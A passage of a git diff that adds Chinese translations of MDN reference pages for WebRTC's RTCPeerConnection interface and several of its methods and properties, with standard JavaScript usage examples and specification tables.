最后一步是开始通过对等连接向调用者发送本地视频。通过遍历{{domxref("MediaStream.getTracks()")}}返回的列表,并将它们与作为其组件的流一起传递给addTrack(),从而在流中添加每条跟踪。

+ +

技术规范

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{ SpecName('WebRTC 1.0', '#dom-rtcpeerconnection-addtrack', 'RTCPeerConnection.addTrack()') }}{{ Spec2('WebRTC 1.0') }}Initial specification.
+ +

浏览器支持

+ + + +

{{Compat("api.RTCPeerConnection.addTrack")}}

+ +

参考

+ + diff --git a/files/zh-cn/web/api/rtcpeerconnection/cantrickleicecandidates/index.html b/files/zh-cn/web/api/rtcpeerconnection/cantrickleicecandidates/index.html new file mode 100644 index 0000000000..c7742e042b --- /dev/null +++ b/files/zh-cn/web/api/rtcpeerconnection/cantrickleicecandidates/index.html @@ -0,0 +1,102 @@ +--- +title: RTCPeerConnection.canTrickleIceCandidates +slug: Web/API/RTCPeerConnection/canTrickleIceCandidates +translation_of: Web/API/RTCPeerConnection/canTrickleIceCandidates +--- +
{{APIRef("WebRTC")}}
+ +
只读的 {{domxref("RTCPeerConnection")}} 属性 canTrickleIceCandidates 返回一个{{jsxref("Boolean")}},它指示远程对等端是否可以接受 trickled ICE candidates
+
+ICE trickling是在初始发送或回应已经发送给其他设备之后继续发送候选的过程。
+
+仅在调用{{domxref("RTCPeerConnection.setRemoteDescription()")}}之后才设置此属性。 理想情况下,您的信令协议提供了一种检测滴流支持的方法,因此您无需依赖此属性。 WebRTC浏览器将始终支持
trickle ICE 如果不支持滴流,或者您无法辨别,则可以检查此属性的伪值,然后等待{{domxref("RTCPeerConnection.iceGatheringState","iceGatheringState")}}的值更改在创建和发送之前“完成”。
+ +
这样,发送信息包含所有候选。
+ + + +

语法

+ +
 var canTrickle = RTCPeerConnection.canTrickleIceCandidates;
+ +

+ +

{{jsxref("Boolean")}} 如果远程对等体可以接受滴入的ICE candidate,则为true;如果不能,则为false。 如果尚未建立远程对等方,则此值为null。

+ +
+

Note: 一旦本地对等方调用{{domxref("RTCPeerConnection.setRemoteDescription()")}},就确定该属性的值; ICE代理使用所提供的描述来确定远程对等体是否支持滴入的ICE candidates

+
+ +

用例

+ +
var pc = new RTCPeerConnection();
+// The following code might be used to handle an offer from a peer when
+// it isn't known whether it supports trickle ICE.
+pc.setRemoteDescription(remoteOffer)
+  .then(_ => pc.createAnswer())
+  .then(answer => pc.setLocalDescription(answer))
+  .then(_ =>
+    if (pc.canTrickleIceCandidates) {
+      return pc.localDescription;
+    }
+    return new Promise(r => {
+      pc.addEventListener('icegatheringstatechange', e => {
+        if (e.target.iceGatheringState === 'complete') {
+          r(pc.localDescription);
+        }
+      });
+    });
+  })
+  .then(answer => sendAnswerToPeer(answer)) // signaling message
+  .catch(e => handleError(e));
+
+pc.addEventListener('icecandidate', e => {
+  if (pc.canTrickleIceCandidates) {
+    sendCandidateToPeer(e.candidate); // signaling message
+  }
+});
+
+ + + + + + + + +
+

规范

+
+
+
+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{ SpecName('WebRTC 1.0', '#widl-RTCPeerConnection-canTrickleIceCandidates', 'RTCPeerConnection.canTrickleIceCandidates') }}{{ Spec2('WebRTC 1.0') }}Initial specification.
+ +

浏览器兼容性

+ + + +

{{Compat("api.RTCPeerConnection.canTrickleIceCandidates")}}

+ +

相关阅读

+ + diff --git a/files/zh-cn/web/api/rtcpeerconnection/connectionstate/index.html b/files/zh-cn/web/api/rtcpeerconnection/connectionstate/index.html new file mode 100644 index 0000000000..b61466213e --- /dev/null +++ b/files/zh-cn/web/api/rtcpeerconnection/connectionstate/index.html @@ -0,0 +1,64 @@ +--- +title: RTCPeerConnection.connectionState +slug: Web/API/RTCPeerConnection/connectionState +translation_of: Web/API/RTCPeerConnection/connectionState +--- +

{{APIRef("WebRTC")}}

+ +

 

+ +

connectionState 只读,说明当前连接状态。状态值参见RTCPeerConnectionState ,值由一个peer connection返回。

+ +

值变化时,一个connectionstatechange 事件发送给RTCPeerConnection对象实例中。

+ +

Syntax

+ +
var connectionState = RTCPeerConnection.connectionState;
+ +

Value

+ +

The current state of the connection, as a value from the enum RTCPeerConnectionState.

+ +

{{page("/en-US/docs/Web/API/RTCPeerConnection", "RTCPeerConnectionState enum", 0, 1)}}

+ +

Example

+ +
var pc = new RTCPeerConnection(configuration);
+
+/* ... */
+
+var connectionState = pc.connectionState;
+ +

Specifications

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{ SpecName('WebRTC 1.0', '#widl-RTCPeerConnection-connectionState', 'RTCPeerConnection.connectionState') }}{{ Spec2('WebRTC 1.0') }}Initial specification.
+ +

Browser compatibility

+ + + +

{{Compat("api.RTCPeerConnection.connectionState")}}

+ +

See also

+ + diff --git a/files/zh-cn/web/api/rtcpeerconnection/createdatachannel/index.html b/files/zh-cn/web/api/rtcpeerconnection/createdatachannel/index.html new file mode 100644 index 0000000000..35f2d35441 --- /dev/null +++ b/files/zh-cn/web/api/rtcpeerconnection/createdatachannel/index.html @@ -0,0 +1,146 @@ +--- +title: RTCPeerConnection.createDataChannel() +slug: Web/API/RTCPeerConnection/createDataChannel +translation_of: Web/API/RTCPeerConnection/createDataChannel +--- +

{{APIRef("WebRTC")}}{{SeeCompatTable}}

+ +

{{domxref("RTCPeerConnection")}} 的 createDataChannel() 方法创建一个可以发送任意数据的数据通道(data channel)。常用于后台传输内容, 例如: 图像, 文件传输, 聊天文字, 游戏数据更新包, 等等。

+ +

基于某个连接创建第一个data channel时, 会通过发送一个{{event("negotiationneeded")}} event来开始重新谈判(renegotiation)。

+ +

语法

+ +
dataChannel = RTCPeerConnection.createDataChannel(label[, options]);
+ +

参数

+ +
+
label
+
一个便于理解的通道名. 该字符串不能长于 65,535 字节.
+
options {{optional_inline}}
+
提供data channel设置的一个 RTCDataChannelInit dictionary 
+
+ +

RTCDataChannelInit dictionary

+ +

RTCDataChannelInit 字典提供以下字段, 用以构造可选的options参数来设置data channel以满足你的需求:

+ +
+
ordered {{optional_inline}}
+
表示通过 {{domxref("RTCDataChannel")}} 的信息的到达顺序需要和发送顺序一致(true), 或者到达顺序不需要和发送顺序一致 (false). 默认: true.
+
maxPacketLifeTime {{optional_inline}}
+
The maximum number of milliseconds that attempts to transfer a message may take in unreliable mode. While this value is a 16-bit unsigned number, each user agent may clamp it to whatever maximum it deems appropriate. Default: null.
+
maxRetransmits {{optional_inline}}
+
The maximum number of times the user agent should attempt to retransmit a message which fails the first time in unreliable mode. While this value is a16-bit unsigned number, each user agent may clamp it to whatever maximum it deems appropriate. Default: null.
+
protocol {{optional_inline}}
+
The name of the sub-protocol being used on the {{domxref("RTCDataChannel")}}, if any; otherwise, the empty string (""). Default: empty string, "". This string may not be longer than 65,535 bytes.
+
negotiated {{optional_inline}}
+
By default (false), data channels are negotiated in-band, where one side calls createDataChannel, and the other side listens to the {{domxref("RTCDataChannelEvent")}} event using the ondatachannel EventHandler . Alternatively (true), they can be negotiated out of-band, where both sides call createDataChannel with an agreed-upon id. Default: false.
+
id {{optional_inline}}
+
An 16-bit numeric ID for the channel; permitted values are 0-65534. If you don't include this option, the user agent will select an ID for you.
+
+ +
+

The options which can be configured using the RTCDataChannelInit dictionary represent the script-settable subset of the properties on the {{domxref("RTCDataChannel")}} interface.

+
+ +

Return value

+ +

A new {{domxref("RTCDataChannel")}} object with the specified label, configured using the options specified by options if that parameter is included; otherwise, the defaults listed above are established.

+ +

Exceptions

+ +
+
InvalidStateError
+
The {{domxref("RTCPeerConnection")}} is closed.
+
TypeError
+
This can happen in a couple of situations: +
    +
  • The label and/or protocol string is too long; these cannot be longer than 65,535 bytes (bytes, rather than characters).
  • +
  • The id is 65535. While this is a valid unsigned 16-bit value, it's not a permitted value for id.
  • +
+
+
SyntaxError
+
Values were specified for both the maxPacketLifeTime and maxRetransmits options. You may only specify a non-null value for one of these.
+
ResourceInUse
+
An id was specified, but another {{domxref("RTCDataChannel")}} is already using the same value.
+
OperationError
+
Either the specified id is already in use or, if no id was specified, the WebRTC layer was unable to automatically generate an ID because all IDs are in use.
+
+ +

Examples

+ +

This example shows how to create a data channel and set up handlers for the {{event("open")}} and {{event("message")}} events to send and receive messages on it (For brievity, the example assumes onnegotiationneeded is set up).

+ +
// Offerer side
+
+var pc = new RTCPeerConnection(options);
+var channel = pc.createDataChannel("chat");
+channel.onopen = function(event) {
+  channel.send('Hi you!');
+}
+channel.onmessage = function(event) {
+  console.log(event.data);
+}
+ +
// Answerer side
+
+var pc = new RTCPeerConnection(options);
+pc.ondatachannel = function(event) {
+  var channel = event.channel;
+  channel.onopen = function(event) {
+    channel.send('Hi back!');
+  }
+  channel.onmessage = function(event) {
+    console.log(event.data);
+  }
+}
+ +

Alternatively, more symmetrical out-of-band negotiation can be used, using an agreed-upon id (0 here):

+ +
// Both sides
+
+var pc = new RTCPeerConnection(options);
+var channel = pc.createDataChannel("chat", {negotiated: true, id: 0});
+channel.onopen = function(event) {
+  channel.send('Hi!');
+}
+channel.onmessage = function(event) {
+  console.log(event.data);
+}
+ +

For a more thorough example showing how the connection and channel are established, see A simple RTCDataChannel sample.

+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('WebRTC 1.0', '#widl-RTCPeerConnection-createDataChannel-RTCDataChannel-DOMString-label-RTCDataChannelInit-dataChannelDict', 'createDataChannel()')}}{{Spec2('WebRTC 1.0')}}Initial definition.
+ +

Browser compatibility

+ +
+ + +

{{Compat("api.RTCPeerConnection.createDataChannel")}}

+
+ +

See also

+ + diff --git a/files/zh-cn/web/api/rtcpeerconnection/createoffer/index.html b/files/zh-cn/web/api/rtcpeerconnection/createoffer/index.html new file mode 100644 index 0000000000..739b0fef65 --- /dev/null +++ b/files/zh-cn/web/api/rtcpeerconnection/createoffer/index.html @@ -0,0 +1,152 @@ +--- +title: RTCPeerConnection.createOffer() +slug: Web/API/RTCPeerConnection/createOffer +tags: + - API + - Media + - RTCPeerConnection + - Reference + - SDP + - WebRTC + - createOffer +translation_of: Web/API/RTCPeerConnection/createOffer +--- +
{{APIRef("WebRTC")}}
+ +
{{domxref("RTCPeerConnection")}}接口的createOffer()方法启动创建一个{{Glossary("SDP")}} offer,目的是启动一个新的WebRTC去连接远程端点。SDP offer包含有关已附加到WebRTC会话,浏览器支持的编解码器和选项的所有{{domxref("MediaStreamTrack")}}s信息,以及{{Glossary("ICE")}} 代理,目的是通过信令信道发送给潜在远程端点,以请求连接或更新现有连接的配置。
+ +
+ +
返回值是一个{{domxref("Promise")}},创建 offer 后,将使用包含新创建的要约的{{domxref("RTCSessionDescription")}}对象来解析该返回值。
+ +

Syntax

+ +
aPromise = myPeerConnection.createOffer([options]);
+
+myPeerConnection.createOffer(successCallback, failureCallback, [options]) {{deprecated_inline}}
+
+ +

Parameters

+ +
+
选项 {{optional_inline}}
+
RTCOfferOptions 词典提供要约所要求的选项。
+
+ +

RTCOfferOptions 词典

+ +

RTCOfferOptions 词典被用于自定义通过此方法创建offer。

+ +
+
iceRestart {{optional_inline}}
+
要在活动连接上重新启动ICE,请将其设置为true。 这将导致返回的 offer 与已经存在的凭证不同。 如果您应用返回的offer,则ICE将重新启动。 指定false以保留相同的凭据,因此不重新启动ICE。 默认值为false
+
offerToReceiveAudio {{optional_inline}} (Legacy)
+
+

传统的布尔选项,用于控制是否向远程对等方提供尝试发送音频的机会。 如果该值为false,即使本地端将发送音频数据,也不会提供远程端点发送音频数据。 如果此值为true,即使本地端不会发送音频数据,也将向远程端点发送音频数据。 默认行为是仅在本地发送音频时才提供接收音频,否则不提供。

+
+
为了在现代实现中模拟此行为,该成员的值为false将设置所有现有音频收发器的方向以排除接收(即,设置为“仅发送”或“无效”)。
+
在现代实现中,此成员的值为true的存在将确保至少有一个收发器集可以接收尚未停止的音频,如果没有,则将创建一个。
+
+
笔记: 您不应该使用此旧版属性。取而代之, 用 {{domxref("RTCRtpTransceiver")}} 去控制是否接受传入的音频。
+
+
offerToReceiveVideo {{optional_inline}} (Legacy)
+
传统的布尔选项,用于控制是否向远程对等方提供尝试发送视频的机会。 如果此值为false,即使本地端将发送视频数据,也不会提供远程端点发送视频数据。 如果此值为true,即使本地端将不发送视频数据,也将向远程端点发送视频数据。 默认行为是仅在本地端正在发送视频时才提供接收视频,否则不提供。
+
为了在现代实现中模拟这种行为,该成员的值为false将设置所有现有视频收发器的方向以排除接收(即设置为“仅发送”或“无效”)。
+
在现代实现中,该成员的值为true的存在将确保至少有一个收发器集可以接收尚未停止的视频,如果没有,则将创建一个。
+
+
笔记: 您不应该使用此旧版属性。取而代之, 用 {{domxref("RTCRtpTransceiver")}} 去控制是否接受传入的视频。
+
+
voiceActivityDetection {{optional_inline}}
+
一些编解码器和硬件能够通过监视是否出现“静音”(或相对较低的声音水平)来检测音频何时开始和结束。 通过仅在实际有广播内容时发送音频数据,从而减少了用于音频的网络带宽。 但是,在某些情况下,这是不需要的。 例如,在音乐或其他非语音传输的情况下,这可能会导致重要的低音量声音丢失。 而且,紧急呼叫在安静时切勿切断音频。 此选项默认为true(启用语音活动检测)。
+
+ +
+
+

不推荐使用的参数

+ + +
+
+

在较早的代码和文档中,您可能会看到此函数的基于回调的版本。 不推荐使用并强烈建议不要使用它。 您应该更新任何现有代码,以使用基于 {{jsxref("Promise")}}的createOffer()版本。 下面介绍了这种形式的createOffer()的参数,以帮助更新现有代码。

+
+
+ +
+
successCallback {{deprecated_inline}}
+
{{domxref("RTCSessionDescriptionCallback")}}将传递一个描述新创建的offer的{{domxref("RTCSessionDescription")}}对象。
+
errorCallback {{deprecated_inline}}
+
{{domxref("RTCPeerConnectionErrorCallback")}}将会传递给一个{{domxref("DOMException")}}对象,该对象说明了创建offer的请求失败的原因。
+
options {{optional_inline}}
+
可选的RTCOfferOptions词典,提供 offer所要求的选项。
+
+ +

返回值

+ +

{{jsxref("Promise")}}的履行处理程序将接收符合{{domxref("RTCSessionDescriptionInit")}}字典的对象,该字典包含描述所生成 offer 的SDP。 收到的 offer 应通过信令服务器传递到。

+ +

异常

+ +

通过拒绝返回的承诺返回这些异常。 您的拒绝处理程序应检查收到的异常,以确定发生了哪些异常。

+ +
+
InvalidStateError
+
RTCPeerConnection 被关闭.
+
NotReadableError
+
没有提供用于保护连接的证书或一组证书,并且createOffer()无法创建新证书。 由于需要保护所有WebRTC连接,因此会导致错误。
+
OperationError
+
由于某些原因,检查系统状态以确定资源可用性以生成报价失败。
+
+ +

举例

+ +

在这里,我们看到了{{event("negotiationneeded")}}事件的处理程序,该处理程序创建了要约,并通过信令通道将其发送到远程系统。

+ +
+

笔记: 请记住,这是信令过程的一部分,传输层的实现细节完全由您决定。 在这种情况下,WebSocket连接用于向其他端点发送带有值为“ video-offer”的类型字段的{{Glossary("JSON")}}消息。 传递给sendToServer()函数的对象的内容,以及承诺履行处理程序中的所有其他内容,完全取决于您的设计。

+
+ +
  myPeerConnection.createOffer().then(function(offer) {
+    return myPeerConnection.setLocalDescription(offer);
+  })
+  .then(function() {
+    sendToServer({
+      name: myUsername,
+      target: targetUsername,
+      type: "video-offer",
+      sdp: myPeerConnection.localDescription
+    });
+  })
+  .catch(function(reason) {
+    // An error occurred, so handle the failure to connect
+  });
+ +

在此代码中,创建了offer,一旦成功,就将{{domxref("RTCPeerConnection")}}的本地端配置为通过传递要约进行匹配(使用符合{{domxref("RTCSessionDescriptionInit")}})放入{{domxref("RTCPeerConnection.setLocalDescription", "setLocalDescription()")}}。 完成后,要约将通过信令通道发送到远程系统。 在这种情况下,使用名为sendToServer()的自定义函数。 信令服务器的实现独立于WebRTC规范,因此只要主叫方和潜在接收方都使用相同的offer,如何发送offer都无关紧要。

+ +

用 {{jsxref("Promise.catch()")}} 来捕获和处理错误.

+ +

请参阅 Signaling and video calling,以获取此摘录的完整示例。 这将帮助您了解此处的信令代码如何工作。

+ +

技术指标

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('WebRTC 1.0', '#dom-rtcpeerconnection-createoffer', 'createOffer()')}}{{Spec2('WebRTC 1.0')}}Initial definition.
+ +

浏览器兼容性

+ +
+ + +

{{Compat("api.RTCPeerConnection.createOffer")}}

+
diff --git a/files/zh-cn/web/api/rtcpeerconnection/currentlocaldescription/index.html b/files/zh-cn/web/api/rtcpeerconnection/currentlocaldescription/index.html new file mode 100644 index 0000000000..651bb2801d --- /dev/null +++ b/files/zh-cn/web/api/rtcpeerconnection/currentlocaldescription/index.html @@ -0,0 +1,80 @@ +--- +title: RTCPeerConnection.currentLocalDescription +slug: Web/API/RTCPeerConnection/currentLocalDescription +tags: + - API + - SDP + - WebRTC +translation_of: Web/API/RTCPeerConnection/currentLocalDescription +--- +

{{WebRTCSidebar}}

+ +

只读属性 RTCPeerConnection.currentLocalDescription 返回一个 {{domxref("RTCSessionDescription")}} 对象,该对象描述了 自上次 {{domxref("RTCPeerConnection")}} 完成协商与连接到远程端后,最近一次成功协商的连接的本地端。原文(describing the local end of the connection as it was most recently successfully negotiated since the last time the RTCPeerConnection finished negotiating and connecting to a remote peer)。也包括自RTCSessionDescription所代表的offer或anwser首次实例化以来,ICE代理可能已经生成的任何ICE候选人的列表。

+ +

若想改变 currentLocalDescription ,则调用 {{domxref("RTCPeerConnection.setLocalDescription()")}} 。这将会触发引发该值被设置的一系列事件。 如果希望详细了解策略与机制,查阅 {{SectionOnPage("/en-US/docs/Web/API/WebRTC_API/Connectivity", "Pending and current descriptions")}}。

+ +
+

与 {{domxref("RTCPeerConnection.localDescription")}} 不同, 这个值代表了当前连接的本地端的事实当前状态; localDescription 也许指明了一个当前正在切换中的连接的description。

+
+ +

语法

+ +
sessionDescription = RTCPeerConnection.currentLocalDescription;
+ +

返回值

+ +

连接本地端的当前description描述,如果成功设置了一个。否则返回null。

+ +

例子

+ +

本例子查看 currentLocalDescription 并且显示了包含 {{domxref("RTCSessionDescription")}} 对象的 type 与 sdp 字段的alert。

+ +
var pc = new RTCPeerConnection();
+…
+var sd = pc.currentLocalDescription;
+if (sd) {
+  alert("Local session: type='" +
+        sd.type + "'; sdp description='" +
+        sd.sdp + "'");
+}
+else {
+  alert("No local session yet.");
+}
+
+ +

参数类别

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{ SpecName('WebRTC 1.0', '#dom-peerconnection-currentlocaldesc', 'RTCPeerConnection.currentLocalDescription') }}{{ Spec2('WebRTC 1.0') }}Initial specification.
+ +

浏览器兼容性

+ + + +

{{Compat("api.RTCPeerConnection.currentLocalDescription")}}

+ +
+

The addition of currentLocalDescription and {{domxref("RTCPeerConnection.pendingLocalDescription", "pendingLocalDescription")}} to the WebRTC spec is relatively recent. In browsers which don't support them, just use {{domxref("RTCPeerConnection.localDescription", "localDescription")}}.

+
+ +

参阅

+ + diff --git a/files/zh-cn/web/api/rtcpeerconnection/getdefaulticeservers/index.html b/files/zh-cn/web/api/rtcpeerconnection/getdefaulticeservers/index.html new file mode 100644 index 0000000000..96c8496248 --- /dev/null +++ b/files/zh-cn/web/api/rtcpeerconnection/getdefaulticeservers/index.html @@ -0,0 +1,57 @@ +--- +title: RTCPeerConnection.getDefaultIceServers() +slug: Web/API/RTCPeerConnection/getDefaultIceServers +translation_of: Web/API/RTCPeerConnection/getDefaultIceServers +--- +

{{APIRef("WebRTC")}}{{SeeCompatTable}}

+ +

{{domxref("RTCPeerConnection")}} 接口的方法 getDefaultIceServers() 返回一个基于  {{domxref("RTCIceServer")}} 字典的对象数组。如果在 {{domxref("RTCPeerConnection")}} 的 {{domxref("RTCConfiguration")}} 中没有设置,该数组指向浏览器缺省使用的ICE servers,前提是浏览器确实存在缺省的ICE servers。然而,浏览器完全不必提供任何的缺省ICE Servers。

+ +

语法

+ +
 var defaultIceServers = RTCPeerConnection.getDefaultIceServers();
+ +

返回值

+ +

一个 ICE servers 的数组,以基于 {{domxref("RTCIceServer")}} 的对象组成,当没有在 {{domxref("RTCPeerConnection")}} 的设置中进行设置时,浏览器将使用它们。如果浏览器没有提供缺省值,将返回一个空数组,该属性的值永远不是 null

+ +

例子

+ +
var pc = new RTCPeerConnection();
+var iceServers = pc.getDefaultIceServers();
+
+if (iceServers.length === 0) {
+  // Deal with the lack of default ICE servers, possibly by using our own defaults
+}
+ +

Specifications

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
WebRTC Extensions
+ +

Browser compatibility

+ + + +

{{Compat("api.RTCPeerConnection.getDefaultIceServers")}}

+ +

See also

+ + diff --git a/files/zh-cn/web/api/rtcpeerconnection/getreceivers/index.html b/files/zh-cn/web/api/rtcpeerconnection/getreceivers/index.html new file mode 100644 index 0000000000..4f59be48af --- /dev/null +++ b/files/zh-cn/web/api/rtcpeerconnection/getreceivers/index.html @@ -0,0 +1,60 @@ +--- +title: RTCPeerConnection.getReceivers() +slug: Web/API/RTCPeerConnection/getReceivers +tags: + - Media + - RTCPeerConnection + - WebRTC + - getReceivers +translation_of: Web/API/RTCPeerConnection/getReceivers +--- +
{{APIRef("WebRTC")}}{{SeeCompatTable}}
+ +

RTCPeerConnection.getReceivers() 方法返回一个 {{domxref("RTCRtpReceiver")}} 对象的数组, 每个RTCRtpReceiver对象代表了一个RTP receiver。每个RTP receiver管理在一个 {{domxref("RTCPeerConnection")}} 上的 {{domxref("MediaStreamTrack")}} 的数据的接收与解码。

+ +

语法

+ +
var receivers = rtcPeerConnection.getReceivers();
+
+ +

返回值

+ +

一个 {{domxref("RTCRtpReceiver")}} 数组,一个对象就是连接上的一个轨道(track)。若连接上没有RTP receiver,则数组为空。

+ +

规范没有定义返回的RTCRtpReceiver实例的顺序,所以两次调用 getReceivers() 返回的顺序可能是不同的。

+ +

例子

+ +

待定

+ +

技术规范

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{ SpecName('WebRTC 1.0', '#dom-peerconnection-getreceivers', 'RTCPeerConnection.getReceivers()') }}{{ Spec2('WebRTC 1.0') }}Initial specification.
+ +

浏览器兼容性

+ + + +

{{Compat("api.RTCPeerConnection.getReceivers")}}

+ +

参阅

+ + diff --git a/files/zh-cn/web/api/rtcpeerconnection/iceconnectionstate/index.html b/files/zh-cn/web/api/rtcpeerconnection/iceconnectionstate/index.html new file mode 100644 index 0000000000..ce202a7d8f --- /dev/null +++ b/files/zh-cn/web/api/rtcpeerconnection/iceconnectionstate/index.html @@ -0,0 +1,110 @@ +--- +title: RTCPeerConnection.iceConnectionState +slug: Web/API/RTCPeerConnection/iceConnectionState +translation_of: Web/API/RTCPeerConnection/iceConnectionState +--- +

{{APIRef("WebRTC")}}{{SeeCompatTable}}

+ +

RTCPeerConnection.iceConnectionState 是一个只读属性,用于描述连接的ICE连接状态,返回值为枚举类型。

+ +

语法

+ +
 var state = peerConnection.iceConnectionState;
+ +

返回值

+ +

RTCIceConnectionState的返回值为下面列举中的一种:

+ + + +

例子

+ +
var pc = new RTCPeerConnection();
+var state = pc.iceConnectionState;
+ +

规范

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{ SpecName('WebRTC 1.0', '#widl-RTCPeerConnection-iceConnectionState', 'RTCPeerConnection.iceConnectionState') }}{{ Spec2('WebRTC 1.0') }}Initial specification.
+ +

浏览器兼容

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{ CompatVersionUnknown() }} [1]{{ CompatVersionUnknown }} [1]{{ CompatNo() }}{{ CompatVersionUnknown() }}{{ CompatUnknown() }}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatNo() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
+
+ +

[1] Though this property is not prefixed, the interface it belongs to is.

+ +

参考文档

+ + diff --git a/files/zh-cn/web/api/rtcpeerconnection/icegatheringstate/index.html b/files/zh-cn/web/api/rtcpeerconnection/icegatheringstate/index.html new file mode 100644 index 0000000000..844c6d70e2 --- /dev/null +++ b/files/zh-cn/web/api/rtcpeerconnection/icegatheringstate/index.html @@ -0,0 +1,57 @@ +--- +title: RTCPeerConnection.iceGatheringState +slug: Web/API/RTCPeerConnection/iceGatheringState +translation_of: Web/API/RTCPeerConnection/iceGatheringState +--- +

{{APIRef("WebRTC")}}{{SeeCompatTable}}

+ +

只读属性 RTCPeerConnection.iceGatheringState 返回一个描述连接的ICE收集状态的枚举值 RTCIceGatheringState。比如当ICE候选收集完成的时候,你可以通过该属性的变化侦测到。

+ +

通过监听 icegatheringstatechange 类型的事件,你可以侦测到该属性的变化。

+ +

语法

+ +
 var state = RTCPeerConnection.iceGatheringState;
+ +

+ +

可能的值是枚举类型 RTCIceGatheringState 的所有值。

+ +

{{page("/en-US/docs/Web/API/RTCPeerConnection", "RTCIceGatheringState enum", 0, 1)}}

+ +

例子

+ +
var pc = new RTCPeerConnection();
+var state = pc.iceGatheringState;
+ +

规格说明书

+ + + + + + + + + + + + + + + + +
规格状态说明
{{ SpecName('WebRTC 1.0', '#dom-peerconnection-ice-gathering-state', 'RTCPeerConnection.iceGatheringState') }}{{ Spec2('WebRTC 1.0') }}Initial specification.
+ +

浏览器兼容性说明

+ + + +

{{Compat("api.RTCPeerConnection.iceGatheringState")}}

+ +

See also

+ + diff --git a/files/zh-cn/web/api/rtcpeerconnection/index.html b/files/zh-cn/web/api/rtcpeerconnection/index.html new file mode 100644 index 0000000000..0bd2d71395 --- /dev/null +++ b/files/zh-cn/web/api/rtcpeerconnection/index.html @@ -0,0 +1,377 @@ +--- +title: RTCPeerConnection +slug: Web/API/RTCPeerConnection +tags: + - WebRTC + - 视频通话 +translation_of: Web/API/RTCPeerConnection +--- +

{{APIRef}}{{SeeCompatTable}}

+ +

RTCPeerConnection 接口代表一个由本地计算机到远端的WebRTC连接。该接口提供了创建,保持,监控,关闭连接的方法的实现。

+ +
+

提示: RTCPeerConnection 和RTCSessionDescription 是很多浏览器中使用的名称。强烈建议使用补充库,例如强大并且被广泛支持的Adapter.js,以确保您网站或Web应用程序的兼容性。值得注意的是Adapter.js不仅仅提供这些,它还做了一些其他补充以增强WebRTC在浏览器中的兼容性。参考:

+ +
var PeerConnection = window.RTCPeerConnection || window.mozRTCPeerConnection || window.webkitRTCPeerConnection;
+var SessionDescription = window.RTCSessionDescription || window.mozRTCSessionDescription || window.webkitRTCSessionDescription;
+var GET_USER_MEDIA = navigator.getUserMedia ? "getUserMedia" :
+                     navigator.mozGetUserMedia ? "mozGetUserMedia" :
+                     navigator.webkitGetUserMedia ? "webkitGetUserMedia" : "getUserMedia";
+var v = document.createElement("video");
+var SRC_OBJECT = 'srcObject' in v ? "srcObject" :
+                 'mozSrcObject' in v ? "mozSrcObject" :
+                 'webkitSrcObject' in v ? "webkitSrcObject" : "srcObject";
+
+ +

由于RTCPeerConnection实现了 {{domxref("EventTarget")}} 接口,故其可以接收处理事件。

+ +

构造函数

+ +
+
{{domxref("RTCPeerConnection.RTCPeerConnection()")}}
+
构造函数;创建一个新的RTCPeerConnection对象。
+
+ +

属性 

+ +

该接口的属性继承了其父接口, {{domxref("EventTarget")}}.

+ +
+
{{domxref("RTCPeerConnection.canTrickleIceCandidates")}} {{ReadOnlyInline}}
+
如果远端支持UDP打洞或支持通过中继服务器连接,则该属性值为true。否则,为false。该属性的值依赖于远端设置且仅在本地的 {{domxref("RTCPeerConnection.setRemoteDescription()")}}方法被调用时有效,如果该方法没被调用,则其值为null.
+
{{domxref("RTCPeerConnection.connectionState")}} {{ReadOnlyInline}}
+
只读connectionState属性通过返回由枚举RTCPeerConnectionState指定的字符串值之一来指示对等连接的当前状态。
+
{{domxref("RTCPeerConnection.currentLocalDescription")}} {{ReadOnlyInline}}
+
只读属性RTCPeerConnection.currentLocalDescription返回一个描述连接本地端的RTCSessionDescription对象,因为自上次RTCPeerConnection完成协商并连接到远程对等体之后,它最近成功协商。 还包括可能已经由ICE代理生成的任何ICE候选者的列表,因为首先被描述的描述所表示的要约或答案。
+
{{domxref("RTCPeerConnection.currentRemoteDescription")}} {{ReadOnlyInline}}
+
只读属性RTCPeerConnection.currentRemoteDescription返回一个RTCSessionDescription对象,描述连接的远程端,因为最近一次RTCPeerConnection完成协商并连接到远程对等体后最近成功协商。 还包括可能已经由ICE代理生成的任何ICE候选者的列表,因为首先被描述的描述所表示的要约或答案。
+
{{domxref("RTCPeerConnection.defaultIceServers")}} {{ReadOnlyInline}}
+
只读属性RTCPeerConnection.defaultIceServers根据RTCIceServer字典返回一个对象数组,该字典指示如果在RTCConfiguration中没有提供给RTCPeerConnection的默认情况下,浏览器将使用ICE服务器。 然而,浏览器根本不需要提供任何默认的ICE服务器。
+
{{domxref("RTCPeerConnection.iceConnectionState")}} {{ReadOnlyInline}}
+
只读属性RTCPeerConnection.iceConnectionState返回与RTCPeerConnection关联的ICE代理的状态类型为RTCIceConnectionState的枚举。
+
{{domxref("RTCPeerConnection.iceGatheringState")}} {{ReadOnlyInline}}
+
只读属性,返回一个RTCIceGatheringState类型的结构体,它描述了连接的ICE收集状态
+
{{domxref("RTCPeerConnection.idpLoginUrl")}} {{ReadOnlyInline}}
+
blah
+
{{domxref("RTCPeerConnection.localDescription")}} {{ReadOnlyInline}}
+
只读属性,返回一个 {{domxref("RTCSessionDescription")}} ,它描述了这条连接的本地端的会话控制(用户会话所需的属性以及配置信息)。如果本地的会话控制还没有被设置,它的值就会是null。
+
{{domxref("RTCPeerConnection.peerIdentity")}} {{ReadOnlyInline}}
+
